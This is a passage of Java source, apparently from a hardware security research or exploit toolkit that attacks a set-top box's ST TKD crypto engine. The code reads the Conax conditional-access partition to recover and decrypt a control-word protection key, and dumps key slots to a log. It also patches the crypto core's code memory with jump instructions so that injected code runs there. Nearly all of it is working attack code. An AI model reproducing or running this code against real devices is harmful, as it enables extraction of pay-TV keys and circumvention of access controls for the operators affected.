  int handle=Dl.open_flags("libstd_cai_cail_iface.so",Dl.RTLD_NOW|Dl.RTLD_NODELETE);
  ApiMonitor.log("libstd_cai_cail_iface.so "+Utils.hex_value(handle,8));
  
  int CAIL_EedrvGetPartitionId=Dl.getsym(handle,"CAIL_EedrvGetPartitionId");
  ApiMonitor.log("CAIL_EedrvGetPartitionId "+Utils.hex_value(CAIL_EedrvGetPartitionId,8));

  int CAIL_EedrvPartitionAccessBegin=Dl.getsym(handle,"CAIL_EedrvPartitionAccessBegin");
  ApiMonitor.log("CAIL_EedrvPartitionAccessBegin "+Utils.hex_value(CAIL_EedrvPartitionAccessBegin,8));

  int CAIL_EedrvPartitionAccessEnd=Dl.getsym(handle,"CAIL_EedrvPartitionAccessEnd");
  ApiMonitor.log("CAIL_EedrvPartitionAccessEnd "+Utils.hex_value(CAIL_EedrvPartitionAccessEnd,8));

  String partition="CA-CONAX";

  int pname=Utils.java2cstring(partition);

  int pid=NativeCode.getInstance().invoke(CAIL_EedrvGetPartitionId,pname,0,0,0,0,0,0,0);
  ApiMonitor.log("CAIL_EedrvGetPartitionId res "+Utils.hex_value(pid,8));

  int addr=NativeCode.getInstance().invoke(CAIL_EedrvPartitionAccessBegin,pid,0,0,0,0,0,0,0);
  ApiMonitor.log("CAIL_EedrvPartitionAccessBegin res "+Utils.hex_value(addr,8));

  byte tab[]=Utils.buf2barray(addr,0x100);
  ApiMonitor.log_buf(tab);

  int ptr=addr;

  int key_type=Memory.read_byte(ptr+0x09);
  int key_id=Memory.read_byte(ptr+0x0a);

  if ((key_type==KEY_CWPK)&&(key_id==KEY_ID)) {
   enc_cwpk=new int[4];

   for(int i=0;i<4;i++) {
    enc_cwpk[i]=Memory.read_dword(ptr+0x0c+4*i);
   }

   if (!fixed_version()) {
    decrypt_cwpk();
   }
  }

  int res=NativeCode.getInstance().invoke(CAIL_EedrvPartitionAccessEnd,pid,0,0,0,0,0,0,0);
  ApiMonitor.log("CAIL_EedrvPartitionAccessEnd res "+Utils.hex_value(res,8));
 }

 private static void calc_offsets() {
  for(int i=0;i<CODE_SIZE;i+=4) {
   int opcode=tkdma_read(CODE+i);

   if (opcode==0x00b00009) {
    opcode=tkdma_read(CODE+i+4);

    if (opcode==0x00b0000a) {
     opcode=tkdma_read(CODE+i+8);

     if (opcode==0x00b0000b) {
      GET_CHIPID_START_OFF=(i-4)>>2;
      GET_CHIPID_END_OFF=(i+12)>>2;
     }
    }
   } else

   if (opcode==0x00a20202) {
    opcode=tkdma_read(CODE+i+4);

    if (opcode==0x00840d00) {
     SLIM_CODE_END_OFF=(i+8)>>2;
    }
   }
  }
 }

 public static int tkdma_read(int off) {
  return NativeCode.getInstance().invoke(mread,mem,BASE+off,0,0,0,0,0,0);
 }

 public static void tkdma_write(int off,int val) {
  NativeCode.getInstance().invoke(mwrite,mem,BASE+off,val,0,0,0,0,0);
 }

 public static int tkdma_read8(int off) {
  return NativeCode.getInstance().invoke(mread8,mem,BASE+off,0,0,0,0,0,0);
 }

 public static void tkdma_write8(int off,int val) {
  NativeCode.getInstance().invoke(mwrite8,mem,BASE+off,val,0,0,0,0,0);
 }

 public static int tkdma_read16(int off) {
  return NativeCode.getInstance().invoke(mread16,mem,BASE+off,0,0,0,0,0,0);
 }

 public static void tkdma_write16(int off,int val) {
  NativeCode.getInstance().invoke(mwrite16,mem,BASE+off,val,0,0,0,0,0);
 }

 public static int iomem_read(int off) {
  return NativeCode.getInstance().invoke(mread,iomem,off,0,0,0,0,0,0);
 }

 public static void iomem_write(int off,int val) {
  NativeCode.getInstance().invoke(mwrite,iomem,off,val,0,0,0,0,0);
 }

 public static boolean tkdcode_running() {
  int val=tkdma_read(DATA+RUNSTATE);

  if (val!=0) return true;
   else return false;
 }

 public static void tkdcode_running(boolean state) {
  if (state) {
   tkdma_write(DATA+RUNSTATE,1);
  } else {
   tkdma_write(DATA+RUNSTATE,0);
  }
 }

 public static boolean fixed_version() {
  if (!fixtestdone) {
   int res=0;

   int keycnt=4*8;

   for(int i=0;i<keycnt;i++) {
    int val=tkdma_read(KEYS+4*i);
    if (val==0) res++;
   }

   if (res==keycnt) fixedversion=true;
    else fixedversion=false;

   fixtestdone=true;
  }

  return fixedversion;
 }

 public static int read_publicid() {
  int buf=NativeCode.getInstance().malloc(0x40);   
  Utils.memset(buf,0,0x40);

  int res=0;

  int fd=Syscall.open(STTKDMA_DEVICE,2);
  
  if (fd>0) {
   TkdHandler.lock();

   Syscall.ioctl(fd,0x80145A07,buf);

   TkdHandler.unlock();

   Syscall.close(fd);
  
   res=Memory.read_dword(buf+0x04);
  }

  NativeCode.getInstance().free(buf);

  return res;
 }

 private static int JMP_INS(int off) {
  int opcode=0x00d00010|((off&0xfff0)<<4)|(off&0xf); 
  return opcode;
 }

 private static int STR0_INS(int off) {
  int opcode=0x00b00000|((off>>2)&0xfff); 
  return opcode;
 }

 public static void load_slim_code(int code[]) {
  int off=CODE+SLIM_CODE_END_OFF*4;

  for(int i=0;i<code.length;i++) {
   int val=code[i];

   if ((val&0xfff)==0xabc) {
    val=(val&0xfffff000)|(SLIM_CODE_END_OFF+i);
   }

   tkdma_write(off+4*i,val);
  }

  off=off+4*code.length;

  tkdma_write(off,STR0_INS(RUNSTATE));
  tkdma_write(off+4,JMP_INS(GET_CHIPID_END_OFF));

  off=CODE+GET_CHIPID_START_OFF*4;

  tkdma_write(off,JMP_INS(SLIM_CODE_END_OFF));
 }

 public static void run_slim_code(int code[]) {
  load_slim_code(code);

  tkdcode_running(true);
  read_publicid();
 }

 public static boolean same_image(int img1[],int img2[]) {
  if (img1==img2) return true;

  if (img1.length!=img2.length) return false;

  for(int i=0;i<img1.length;i++) {
   if (img1[i]!=img2[i]) return false;
  }

  return true;
 }

 public static int load_slim_image(int data[]) {
  int res=-1;

  if ((curtkdimage!=null)&&same_image(data,curtkdimage)) return 0;

  try {
   int idx=0;

   int csize=data[idx++];

   int tkdcode[]=new int[csize];

   for(int i=0;i<csize;i++) {
    tkdcode[i]=data[idx++];
   }

   int dsize=data[idx++];

   int tkddata[]=new int[dsize];

   for(int i=0;i<dsize;i++) {
    tkddata[i]=data[idx++];
   }

   if (!STTKDMA.tkdcode_running()) {
    for(int i=0;i<dsize;i+=2) {
     int off=tkddata[i];
     int val=tkddata[i+1];

     STTKDMA.tkdma_write(off,val);
    }

    STTKDMA.load_slim_code(tkdcode);

    curtkdimage=data;

    res=0;
   }
  } catch(Throwable t) {}

  return res;
 }

 public static int run_slim_image(int data[]) {
  int res=load_slim_image(data);

  if (res!=-1) {
   res=-1;

   if (!STTKDMA.tkdcode_running()) {
    tkdcode_running(true);
    read_publicid();

    res=0;
   }
  }

  return res;
 }

 public static void slim_op(int tkd_cmd,int copins,int waitins) {
  tkd_code[0]=(tkd_code[0]&0xffff0000)|((tkd_cmd>>16)&0xffff);
  tkd_code[1]=(tkd_code[1]&0xffff0000)|((tkd_cmd)&0xffff);
  tkd_code[5]=copins;
  tkd_code[9]=waitins;
  tkd_code[16]=waitins;

  run_slim_code(tkd_code);
 }

 public static void tkd_cmd(int dest,int input,int key,int ctrl) {
  int cmd=((dest&0xff)<<24)|((input&0xff)<<16)|((key&0xff)<<8)|(ctrl&0xff);

  slim_op(cmd,copTDES,waitTDES);
 }

 public static void tkd_cmd(int cmd) {
  slim_op(cmd,copTDES,waitTDES);
 }

 public static int get_chip_id() {
  return chip_id;
 }

/*
 public static int[] get_rfs_cwpk() {
  return rfs_cwpk;
 }
*/

 public static int[] get_enc_cwpk() {
  return enc_cwpk;
 }

 public static int[] get_cwpk() {
  if (hascwpk()) return cwpk;
   else return new int[4];
 }

 public static int[] get_key(int idx) {
  int key[]=new int[4];
  key[0]=tkdma_read(KEYS+idx*0x10);
  key[1]=tkdma_read(KEYS+idx*0x10+0x04);
  key[2]=tkdma_read(KEYS+idx*0x10+0x08);
  key[3]=tkdma_read(KEYS+idx*0x10+0x0c);

  return key;
 }

 public static int[] get_input() {
  int data[]=new int[4];
  data[0]=tkdma_read(INPUT);
  data[1]=tkdma_read(INPUT+0x04);
  data[2]=tkdma_read(INPUT+0x08);
  data[3]=tkdma_read(INPUT+0x0c);

  return data;
 }

 public static void set_key(int idx,int cw[]) {
  tkdma_write(KEYS+idx*0x10,cw[0]);
  tkdma_write(KEYS+idx*0x10+0x04,cw[1]);

  if (cw.length==2) {
   tkdma_write(KEYS+idx*0x10+0x08,cw[0]);
   tkdma_write(KEYS+idx*0x10+0x0c,cw[1]);
  } else {
   tkdma_write(KEYS+idx*0x10+0x08,cw[2]);
   tkdma_write(KEYS+idx*0x10+0x0c,cw[3]);
  }
 }

 public static void set_input(int input[]) {
  tkdma_write(INPUT,input[0]);
  tkdma_write(INPUT+0x04,input[1]);

  if (input.length==2) {
   tkdma_write(INPUT+0x08,input[0]);
   tkdma_write(INPUT+0x0c,input[1]);
  } else {
   tkdma_write(INPUT+0x08,input[2]);
   tkdma_write(INPUT+0x0c,input[3]);
  }
 }

 public static int[] get_output() {
  int data[]=new int[4];
  data[0]=tkdma_read(OUTPUT);
  data[1]=tkdma_read(OUTPUT+0x04);
  data[2]=tkdma_read(OUTPUT+0x08);
  data[3]=tkdma_read(OUTPUT+0x0c);

  return data;
 }

 public static void DumpKeys() {
  int buf=NativeCode.getInstance().malloc(MAXKEY*0x10);  

  ApiMonitor.log("STTKDMA Keys");

  for(int i=0;i<MAXKEY*0x10;i+=4) {
   int val=tkdma_read(KEYS+i);
   Memory.write_dword(buf+i,val);
  }

  byte tab[]=Utils.buf2barray(buf,MAXKEY*0x10);
  ApiMonitor.log_buf(tab);

  NativeCode.getInstance().free(buf);  
 } 

 public static void DumpInput() {
  int buf=NativeCode.getInstance().malloc(0x10);  

  ApiMonitor.log("STTKDMA Input");

  for(int i=0;i<0x10;i+=4) {
   int val=tkdma_read(INPUT+i);
   Memory.write_dword(buf+i,val);
  }

  byte tab[]=Utils.buf2barray(buf,0x10);
  ApiMonitor.log_buf(tab);

  NativeCode.getInstance().free(buf);  
 } 

 public static int read_publicid(boolean show) {
  int buf=NativeCode.getInstance().malloc(0x40);   
  Utils.memset(buf,0,0x40);

  int fd=Syscall.open("/tmp/sttkdma_ioctl",2);

  int res=Syscall.ioctl(fd,0x80145A07,buf);

  if (show) {
   byte tab[]=Utils.buf2barray(buf,0x10);
   ApiMonitor.log_buf(tab);
  }
   
  Syscall.close(fd);

  res=Memory.read_dword(buf+0x08);

  NativeCode.getInstance().free(buf);

  return res;
 }

 public static void run_code(int code[]) {
  int off=0x6000+0x05b7*4;

  for(int i=0;i<code.length;i++) {
   int val=code[i];

   if ((val&0xfff)==0xabc) {
    val=(val&0xfffff000)|(0x05b7+i);
   }

   tkdma_write(off+4*i,val);
  }

  //jmp 01a7
  tkdma_write(off+4*code.length,0x00d01a17);

  off=0x6000+0x01a3*4;

  //jmp 05b7
  tkdma_write(off,0x00d05b17);

  ApiMonitor.log("ok");

  read_publicid(true);
 }
}
